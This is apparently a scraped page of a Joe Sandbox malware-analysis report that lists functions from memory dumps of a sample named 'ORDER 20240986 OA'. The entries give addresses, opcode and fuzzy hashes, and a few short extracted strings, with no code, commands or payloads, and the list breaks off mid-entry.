Opcode ID: 2cda1c3a297e318abe5cdc918c47fa4dfa0221c488cf0a08b2d141f382126091
Instruction ID: 52656ee27e3b6fb62da034a4022589b58a2be338863c0a82b4ed7501ba68f6f8
Opcode Fuzzy Hash: 2cda1c3a297e318abe5cdc918c47fa4dfa0221c488cf0a08b2d141f382126091
Instruction Fuzzy Hash: BDA1F074D002188FEB14DFA9C984BDDBBB1FF88304F209269E408AB2A1DB759985CF54

Function 076636F0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4bc99a89572c53522bcc22b8c270145e3165d9916fb0abb843a70c7365e2ef
Instruction ID: 4c76344bd54bdc68094e1abc8adfacb300bfc7c792f3cd53ddd089392ea59ef5
Opcode Fuzzy Hash: 6a4bc99a89572c53522bcc22b8c270145e3165d9916fb0abb843a70c7365e2ef
Instruction Fuzzy Hash: 5EA194B5E012198FEB64CF6AC944B9DFBF2AB89300F14C1A9D409A7350EB745A85CF50

Function 07661470 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a95a9f9c9ee27e9e52879a074fe45e739d20c6892f797aeec5cebef6cad23994
Instruction ID: 42a90150d3f5fb38ba01b2da929b5bbce5ecd6a8f29ca6a96a6b4048a335d7a1
Opcode Fuzzy Hash: a95a9f9c9ee27e9e52879a074fe45e739d20c6892f797aeec5cebef6cad23994
Instruction Fuzzy Hash: 33A181B5E012298FEB68CF6AC944B9DFBF2AB89300F14C1A9D409B7250DB745A85CF51

Function 3AC917A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6847bc3025d646821d5ff68fe9ff76f4ae74ce800d76cfbbe8827cb1076aec9
Instruction ID: ab158e9b962749831e4315e7e806ebd55f257a78051c5b8eab137205f42ca1c0
Opcode Fuzzy Hash: d6847bc3025d646821d5ff68fe9ff76f4ae74ce800d76cfbbe8827cb1076aec9
Instruction Fuzzy Hash: 3BA171B5E01229CFEB64CF6AC944BDEBBF2AF89300F14C1A9D408A7254DB745A85CF51

Function 3AC9310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e27ca2e4f9b5ba88a1e1024f98427a89d0d83a51189b787b9c82768d9d0d9a3
Instruction ID: 4b4e63fa52b56166272d2718fa45c584b20101fe485811a8e280fbc84e489c43
Opcode Fuzzy Hash: 3e27ca2e4f9b5ba88a1e1024f98427a89d0d83a51189b787b9c82768d9d0d9a3
Instruction Fuzzy Hash: EE91E074900218CFEB14DFA9C984BDDBBB1FF49310F209269E409BB2A1DB759985CF54

Function 076170C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950680601.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7610000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5843b2aaf25ab769bb0f16cd31f1608eb08d2c2df017cd6232f86f846722f0
Instruction ID: 4c31299f01c04d8ab9f34abc9eacfab6048955b1368f8b9d6ae5250c6f138558
Opcode Fuzzy Hash: 6e5843b2aaf25ab769bb0f16cd31f1608eb08d2c2df017cd6232f86f846722f0
Instruction Fuzzy Hash: 1781BD74E00219DFDB04DFE9C994AEDBBB2FB88300F248129D805AB355DB355986DF50

Function 3AC9FC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd06bf7e9d506a1211639b02be272b88a07b9cc5fded8ba1e02cba9a3b463a83
Instruction ID: 738146191e8f36c6494235504dcbb518297c087caa9591df7be151d2fe9c9db2
Opcode Fuzzy Hash: fd06bf7e9d506a1211639b02be272b88a07b9cc5fded8ba1e02cba9a3b463a83
Instruction Fuzzy Hash: BF818B74E00219DBDB14DFE9C990ADDBBB2FB89300F608129D818AB355DB359986DF50

Function 07628470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950699365.0000000007620000.00000040.00000800.00020000.00000000.sdmp, Offset: 07620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7620000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed60c22f88c764a97778448348f0a4a98512f94ba217c349253f3c7b6e3b0a05
Instruction ID: 132d7964a6aefdd22bc2ac97c5a8406ab8ddc6561e80b7a5a1de88dc9a01196b
Opcode Fuzzy Hash: ed60c22f88c764a97778448348f0a4a98512f94ba217c349253f3c7b6e3b0a05
Instruction Fuzzy Hash: C181ACB4E00219DFDB54DFE9C990ADDBBB2EB89300F208129D805AB354DB355986DF50

Function 0762FB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950699365.0000000007620000.00000040.00000800.00020000.00000000.sdmp, Offset: 07620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7620000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe30e5fec97a12374980e9d13ce0ecdf5b3de4b0d9c9dc155260ff15b74be990
Instruction ID: 874f93df6840b00f6c53f20aec73f5ef0092686309cdf6e5b2fe9d55bdbeb0bb
Opcode Fuzzy Hash: fe30e5fec97a12374980e9d13ce0ecdf5b3de4b0d9c9dc155260ff15b74be990
Instruction Fuzzy Hash: 0381ACB4E00219DFDB54DFE9C990AEDBBB2FB89300F208129D805AB355DB355986DF50

Function 07661460 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a6f568720a5a48e8098d797be219397b076dc010d835107cd6e8d0a0342b368
Instruction ID: ce2f0205e20bb9d0dd509dc9f2d8bd722e2c6dae4e805e6aa8549f96a9bd2ef2
Opcode Fuzzy Hash: 9a6f568720a5a48e8098d797be219397b076dc010d835107cd6e8d0a0342b368
Instruction Fuzzy Hash: 6F8186B5E016198FEB68CF6AC954B9DFBF2BF89300F14C1AAD409A7254DB744A85CF10

Function 076636E1 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5c2c8e0a124f6716ad45470245b78774f2855e89909c111b71636c749f8e702
Instruction ID: 9d442923c9dcbff07c1eff0de674c64cc7a41ded51e54509a509c61ebdfaecaa
Opcode Fuzzy Hash: e5c2c8e0a124f6716ad45470245b78774f2855e89909c111b71636c749f8e702
Instruction Fuzzy Hash: 3D8197B5D016298FEB68CF6AC954B9DFBF2BF89300F14C1A9D409A7254DB744A85CF10

Function 3AC9178F Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b82b22661ed7f63ca3305a41fc3b3a59b9d9464c4410a2a1ced35a3b66e61136
Instruction ID: d9b3f2a0ae0cd3df90b3c244ad75c1c6d929241aeab639cd1498bfdd47b3b128
Opcode Fuzzy Hash: b82b22661ed7f63ca3305a41fc3b3a59b9d9464c4410a2a1ced35a3b66e61136
Instruction Fuzzy Hash: 4A8185B5D016298FEB68CF66C954BDDBBF2AF88300F14C1A9D449A7254DB744A85CF10

Function 0015E97A Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fee16dbdb172053bf0fba53fd3c9f1a8cbae7eb4f017f25ead626064012d7ab6
Instruction ID: ed17d268e4d11d709a29766ca03aec8d2880caf635885f0da3c45ba1008462eb
Opcode Fuzzy Hash: fee16dbdb172053bf0fba53fd3c9f1a8cbae7eb4f017f25ead626064012d7ab6
Instruction Fuzzy Hash: 9851B474E00208DFDB18DFBAD884A9DBBB2BF88310F249029E915AB364DB345946CF54

Function 0015E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bb356bd2951d268d2740a9b0989f13c8fa1a0102f96906cba443a0fee8b3dfa
Instruction ID: 8baea3aaaa270d53d557fd44407689f0dd7810ca802e12f3f3b46e6bac1ecc16
Opcode Fuzzy Hash: 6bb356bd2951d268d2740a9b0989f13c8fa1a0102f96906cba443a0fee8b3dfa
Instruction Fuzzy Hash: 30519274E00208DFDB18DFFAD884A9DBBB2BF88310F249129E915AB364DB345945CF14

Function 07661B3F Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8be612046e451504233be0a19f77ef65c1f1b34309f5bc54bc4d81ee2009b70d
Instruction ID: a386e085d4117fe8c78d2cdc4350793e1b03eb0e89974b073437ca32939fb86c
Opcode Fuzzy Hash: 8be612046e451504233be0a19f77ef65c1f1b34309f5bc54bc4d81ee2009b70d
Instruction Fuzzy Hash: 8C5157B1E016598BEB58CF67C9547DEFAF3AFC9300F14C1AAC40DA6254EB740A868F51

Function 07566609 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8426309d418b64e8d2cea41d63eb87d4f9830e5c50c958304bef49666d5a79f
Instruction ID: 8afc2f9d9f7af437dd609294927c1c19978cdd472b8fe0397163bc4bf75b97b7
Opcode Fuzzy Hash: e8426309d418b64e8d2cea41d63eb87d4f9830e5c50c958304bef49666d5a79f
Instruction Fuzzy Hash: F941E2B5E002189BDB18CFAAD9546DEBBB2BF8A310F10C12AD418BB255EB345946CF50

Function 3AC91E70 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8688c87057f6d78b9982b56b8def54ef8fdf6b105e715a012bfb65f5c742cad
Instruction ID: d853bd8955fef5084656e74004709a3c59476c83c31f227755677f82a8e4f361
Opcode Fuzzy Hash: e8688c87057f6d78b9982b56b8def54ef8fdf6b105e715a012bfb65f5c742cad
Instruction Fuzzy Hash: 66416B71E016588BEB58CF6BC9447DEFAF3AFC9300F14C1A9C44DA6264DB740A858F51

Function 07660D7B Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41ef7aa96ac152c51a99352af61869ebce494abac4328e7126a74377ccab0bae
Instruction ID: 80f9fad3558a4977f23b1f3809fb3104cce4fdefa48df456044c0ef67d4d2fc0
Opcode Fuzzy Hash: 41ef7aa96ac152c51a99352af61869ebce494abac4328e7126a74377ccab0bae
Instruction Fuzzy Hash: 1C4168B1E016198BEB58CF6BC9547DEFAF3AFC9300F14C1AAC40DA6264EB7409858F51

Function 07662FFB Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30e53cf1849958ba5279c932b613944195bef75d1fbf9d182518cd34925b19dc
Instruction ID: df807638656783a2fa927852c5d0ea616f48b79a3028e3b84d9c53823da467d9
Opcode Fuzzy Hash: 30e53cf1849958ba5279c932b613944195bef75d1fbf9d182518cd34925b19dc
Instruction Fuzzy Hash: 12414BB1E016598BEB58CF6BC9547DEFAF3AFC9300F14C1AAC40DA6264DB740A858F51

Function 07662229 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd63f71cf5885283a00d7d3a49cfe0ed20ecaaa873b2ef08a234ba18c02dcb52
Instruction ID: 352aba57fb4030a737b6e39f3b0d37cc3ec2f7fc7b3fe0f4ab8886c3ec63cecd
Opcode Fuzzy Hash: dd63f71cf5885283a00d7d3a49cfe0ed20ecaaa873b2ef08a234ba18c02dcb52
Instruction Fuzzy Hash: C94167B1E016198BEB58CF6BC9547DEFAF3AFC9300F14C1AAC40DA6264DB750A858F51

Function 075687E0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 287afa90d7710067772a01eb116bad3fdb53c0ecdbe4489561321cb13d16f054
Instruction ID: ff586f8589356aeec84c2b8b90de7741c15251a851f657fd640e0186a379ce6e
Opcode Fuzzy Hash: 287afa90d7710067772a01eb116bad3fdb53c0ecdbe4489561321cb13d16f054
Instruction Fuzzy Hash: 0A41D4B4E016188BEB18CFAAD9547DEBBF2BF89300F14C16AD418BB255EB345946CF50

Function 07621CE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950699365.0000000007620000.00000040.00000800.00020000.00000000.sdmp, Offset: 07620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7620000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67a5ff227e5548bd8c12ab5cdfb455b5787c7a5ea22eed7d725e3b9e7345c63f
Instruction ID: 2e353033e87111602c59b81217db52b6709a1b387f0945a58c2ddabba29e41a3
Opcode Fuzzy Hash: 67a5ff227e5548bd8c12ab5cdfb455b5787c7a5ea22eed7d725e3b9e7345c63f
Instruction Fuzzy Hash: 544102B0E046188BDB58CFAAC8546DEBBF2BF89300F14C16AD419BB365EB344946CF40

Function 3AC9295A Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec3d256229c30b3510ab450d2ab89dd811af854ce285334f22f7ed263dbdcfa
Instruction ID: 229ba03bcce38e30e40a9b397a65ac95a0c2339b21f9638ba8f661cbd3725097
Opcode Fuzzy Hash: 9ec3d256229c30b3510ab450d2ab89dd811af854ce285334f22f7ed263dbdcfa
Instruction Fuzzy Hash: C241D274E012488BEB58CFAAC5546DDFBB2AF89300F24C12AD459BB265DB384946CF40

Function 3AC9DDF1 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9731a077e435bcb393b8cb4d5c28cdd0dcd622082b620bca261a60d87aee232c
Instruction ID: 8cc3d091f3fd9d014f485d0a9938a9bfbefbe02432a5ce6fbcd40bfcb0959646
Opcode Fuzzy Hash: 9731a077e435bcb393b8cb4d5c28cdd0dcd622082b620bca261a60d87aee232c
Instruction Fuzzy Hash: EC41D374E01648DBEB18CFAAD9546DDBBB2AF89300F24D12AC418BB265DB348946CF40

Function 07566675 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950484955.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11ff18e04fff01c61f8fde3a16ee4226d8c9e82814ef1b8ca9f43c5f90852216
Instruction ID: 6ef3a34a68db46036355cee62c37245a21ae26716b8552ce50135fe4689761e3
Opcode Fuzzy Hash: 11ff18e04fff01c61f8fde3a16ee4226d8c9e82814ef1b8ca9f43c5f90852216
Instruction Fuzzy Hash: 9441E3B4E006188BDB18DFAAD8546DEBBF2BF89300F10C12AD418BB264EB345946CF40

Function 001576F1 Relevance: 10.5, Strings: 8, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(odq, xrefs: 001578B2
,hq, xrefs: 00157B90
(odq, xrefs: 00157C0F
,hq, xrefs: 00157BA0
(odq, xrefs: 001577E9
(odq, xrefs: 0015772E
(odq, xrefs: 00157815
(odq, xrefs: 00157BFF

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: (odq$(odq$(odq$(odq$(odq$(odq$,hq$,hq
API String ID: 0-1376594924
Opcode ID: cf22b1331946d2e7da056a1fb94eb01482827182650cebac2b1e5d16552ef4d2
Instruction ID: 7d645bbcbd9b518854115c99a4987c664c72c9de2214a1d8c3a9da6e47d34832
Opcode Fuzzy Hash: cf22b1331946d2e7da056a1fb94eb01482827182650cebac2b1e5d16552ef4d2
Instruction Fuzzy Hash: 73126C30A04209CFCB15CF68E885AAEBBF2FF49315F148559E869DB2A1DB30ED45CB50

Function 3AC93FE8 Relevance: 6.6, Strings: 5, Instructions: 389
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hhq, xrefs: 3AC941D2
8iq, xrefs: 3AC94429
Hhq, xrefs: 3AC94036
Hhq, xrefs: 3AC94231
TJiq, xrefs: 3AC94462

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 8iq$Hhq$Hhq$Hhq$TJiq
API String ID: 0-844644037
Opcode ID: a9b155426ad4b1ca6c0e14bb15b05887a3845d8e0c9e40f88766542ce2cbcf04
Instruction ID: f429dc142c015acbd9f886fb09e1e89efce5a33f0ce3c24182c4d8a55795bb25
Opcode Fuzzy Hash: a9b155426ad4b1ca6c0e14bb15b05887a3845d8e0c9e40f88766542ce2cbcf04
Instruction Fuzzy Hash: A5D1E338B042448FDB05DB68C590ADE7FB6EF99320F1845AAE545EB3A1CB31DD42CB91

Function 3AC93A50 Relevance: 5.3, Strings: 4, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 3AC93B4D
Hhq, xrefs: 3AC93CBB
Hhq, xrefs: 3AC93CEE
Hhq, xrefs: 3AC93D21

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: $Hhq$Hhq$Hhq
API String ID: 0-3117650334
Opcode ID: 12449f1bcc6a2e43dc591c7ba4acbde9ee5b1f5a9a312419c68fa3454b401006
Instruction ID: bee7846951183744843715d2ecc601a18ddf08af5866f6b03da0910679d699ee
Opcode Fuzzy Hash: 12449f1bcc6a2e43dc591c7ba4acbde9ee5b1f5a9a312419c68fa3454b401006
Instruction Fuzzy Hash: C1A1DF387046549FDB159F3888692AE3BB2EF85360B24462DE956DB3E1CF348D42CB91

Function 07664BAF Relevance: 3.3, Strings: 2, Instructions: 771COMMON

Download Yara Rule

Strings

Tedq, xrefs: 0766511E
Tedq, xrefs: 07665145

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: Tedq$Tedq
API String ID: 0-4137347946
Opcode ID: 7359271e1089ee63386b2856042c46ca0921556e0d8a49f3874585d5712dbcda
Instruction ID: 76da8e663956db3e63cf76079fd9b5b542cef243bdb2eb2be51a0cdb64836c75
Opcode Fuzzy Hash: 7359271e1089ee63386b2856042c46ca0921556e0d8a49f3874585d5712dbcda
Instruction Fuzzy Hash: 7E82B174A01229DFCB64DFA4C998BE9B7B2FB89300F1041E9D809A7361DB359E85CF50

Function 07664BAD Relevance: 3.3, Strings: 2, Instructions: 768COMMON

Download Yara Rule

Strings

Tedq, xrefs: 0766511E
Tedq, xrefs: 07665145

Memory Dump Source

Source File: 00000004.00000002.2950756812.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7660000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: Tedq$Tedq
API String ID: 0-4137347946
Opcode ID: 6ea224265c1a59ee7e836551d185195bfedf5ec9f16888b2a15fe591ee2a0877
Instruction ID: 44a6f2b00ed0f22d00ff53d02a15ce584b5fdeb5597672c6339c83f15835f66e
Opcode Fuzzy Hash: 6ea224265c1a59ee7e836551d185195bfedf5ec9f16888b2a15fe591ee2a0877
Instruction Fuzzy Hash: 7482B074A01229DFCB64DFA4C998BE9B7B2FB89300F1041E9D809A7361DB359E85CF50

Function 00155F38 Relevance: 2.8, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

Hhq, xrefs: 00156023
Hhq, xrefs: 00156056

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: Hhq$Hhq
API String ID: 0-2450388649
Opcode ID: b1a56a4880d864134663e128b61d36712b8f9ffde407b1c5dd6445651edb33f6
Instruction ID: 25a4e291f661d5af4fd24982aeb771d8e4b36d8e5578fc90ee411f43bc11adca
Opcode Fuzzy Hash: b1a56a4880d864134663e128b61d36712b8f9ffde407b1c5dd6445651edb33f6
Instruction Fuzzy Hash: CAB19E70708251CFCB159F74C894A7A7BB2AF89302F55456AE856CF3A2CB34CC8AD791

Function 0761E950 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

LRdq, xrefs: 0761E96C
LRdq, xrefs: 0761EA99

Memory Dump Source

Source File: 00000004.00000002.2950680601.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7610000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: LRdq$LRdq
API String ID: 0-3657686274
Opcode ID: d54612e51b53c5ac67ae16fb29c0fef92ea11f9a248b8484016e52782937e959
Instruction ID: f7e7e664a28d12b82623265834dadd3e6ba2f8837ca450901048a473a083f7c2
Opcode Fuzzy Hash: d54612e51b53c5ac67ae16fb29c0fef92ea11f9a248b8484016e52782937e959
Instruction Fuzzy Hash: 2381B274B001069FCB04DF78C95896E7BF6BF89705B19816AE806DB3A1DB35DD02CB91

Function 00156498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,hq, xrefs: 0015656E
,hq, xrefs: 00156578

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: ,hq$,hq
API String ID: 0-3475114797
Opcode ID: 02a17f8f4b7021bf0d63c54c81c2104729801e6213ad3d328872fa4360d8bc47
Instruction ID: 022c47e17e37395053d02d8719b8a525d394c1a5de3ef16feb6a3df420fb4eea
Opcode Fuzzy Hash: 02a17f8f4b7021bf0d63c54c81c2104729801e6213ad3d328872fa4360d8bc47
Instruction Fuzzy Hash: 64819F74A00505CFCB18CF69C48496ABBB2BF89316BA58169D825EF365DB31EC49CBD0

Function 00158EF8 Relevance: 2.6, Strings: 2, Instructions: 114COMMON

Download Yara Rule

Strings

$dq, xrefs: 00158FB4
$dq, xrefs: 00158FD7

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: $dq$$dq
API String ID: 0-2340669324
Opcode ID: 5165a0225c4532b2da23f59f07ab7c3fa587969fffea596e2229dd7c71a11b0d
Instruction ID: ee701395f760bee796ec52389bd2bcb8c7e943c21b66d36492956c7f33364ef2
Opcode Fuzzy Hash: 5165a0225c4532b2da23f59f07ab7c3fa587969fffea596e2229dd7c71a11b0d
Instruction Fuzzy Hash: 95318530308151CFCB258B79D89467E7B77AB89712B25055BE826EF692DF28CC888791

Function 3AC94351 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

8iq, xrefs: 3AC94429
TJiq, xrefs: 3AC94462

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 8iq$TJiq
API String ID: 0-752956030
Opcode ID: 751757fb2d632fac4acf5e573e52f11aa13e9cdea419de53d60f2ad7ec29f924
Instruction ID: a1bcc859647ca2680a2c4ad8f303ec7ef183be2d285a09fcd69a082e5f60d6af
Opcode Fuzzy Hash: 751757fb2d632fac4acf5e573e52f11aa13e9cdea419de53d60f2ad7ec29f924
Instruction Fuzzy Hash: F1310579B002099FCB44DFA8C581EDDBBB2BF98320F195544E505EB366DA30ED858BA0

Function 3AC94385 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

